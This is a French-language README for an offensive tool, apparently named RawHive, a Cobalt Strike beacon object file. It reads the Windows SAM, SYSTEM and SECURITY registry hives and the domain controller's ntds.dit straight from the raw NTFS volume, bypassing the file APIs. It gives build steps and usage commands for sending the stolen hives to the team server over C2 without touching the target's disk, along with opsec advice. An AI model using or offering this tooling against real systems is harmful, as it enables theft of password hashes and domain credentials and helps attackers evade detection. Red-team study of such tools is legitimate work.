RawHive

RawHive est un BOF Cobalt Strike permettant d'extraire des ruches de registre Windows sélectionnées directement depuis un volume NTFS brut. Il contourne les API de fichiers habituelles, parcourt les métadonnées NTFS pour trouver les enregistrements de fichiers cibles, et lit les octets directement depuis le disque.

Cibles :

• C:\Windows\System32\config\SAM
• C:\Windows\System32\config\SYSTEM
• C:\Windows\System32\config\SECURITY
• C:\Windows\NTDS\ntds.dit (contrôleurs de domaine uniquement)

Toute lettre de lecteur NTFS locale fonctionne ; la valeur par défaut est C:.

Fonctionnement

1. Ouvre le volume (par exemple \\.\C:) et lit le secteur d'amorçage pour localiser $MFT.
2. Parcourt les index de répertoires pour Windows, System32, config et les fichiers cibles, avec un scan MFT borné en secours.
3. Lit les données de fichier depuis les attributs résidents ou les runlists de clusters.
4. Transmet les octets via C2 (mode téléchargement) ou les écrit sur le disque (mode écriture disque).

Prérequis

• Beacon 64 bits exécuté en tant qu'administrateur local ou SYSTEM.
• x86_64-w64-mingw32-gcc et make pour la compilation.

Compilation

make

Compile dist/rawhive.x64.o. rawhive.cna charge l'objet depuis dist/, donc recompilez après avoir modifié rawhive.c.

Utilisation

Le mode téléchargement est celui par défaut : les ruches sont lues directement depuis le volume brut et envoyées au team server via l'API BeaconDownload. Rien ne touche le disque de la cible.

rawhive                    # download C: hives to team server
rawhive D                  # download D: hives to team server

Le mode écriture disque enregistre des fichiers .tmp dans un répertoire sur la cible. Notez que cela touche le disque et peut ne pas être opsec safe ; préférez le mode téléchargement sauf si vous avez spécifiquement besoin que les fichiers soient déposés localement.

rawhive C:\Windows\Temp           # write C: hives to disk
rawhive C:\Windows\Temp D         # write D: hives to C:\Windows\Temp

Le volume peut être écrit sous la forme C, c ou C:. Le répertoire de sortie doit déjà exister.

Sortie

Les fichiers sont nommés <host>_<timestamp>_<hive>.tmp :

<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp       # DCs only

En mode téléchargement, ils apparaissent dans la zone de téléchargement de Cobalt Strike ; en mode écriture disque, ils atterrissent dans le répertoire de sortie spécifié.

Remarques

• Le scan MFT de secours est plafonné à 500 000 enregistrements.
• Les runlists sont plafonnées à 128 extents ; un fichier trop fragmenté échoue au lieu de signaler un fichier partiel comme complet.
• Les structures NTFS malformées ou non prises en charge sont rejetées au lieu de continuer avec des offsets non sûrs.

Preuve de concept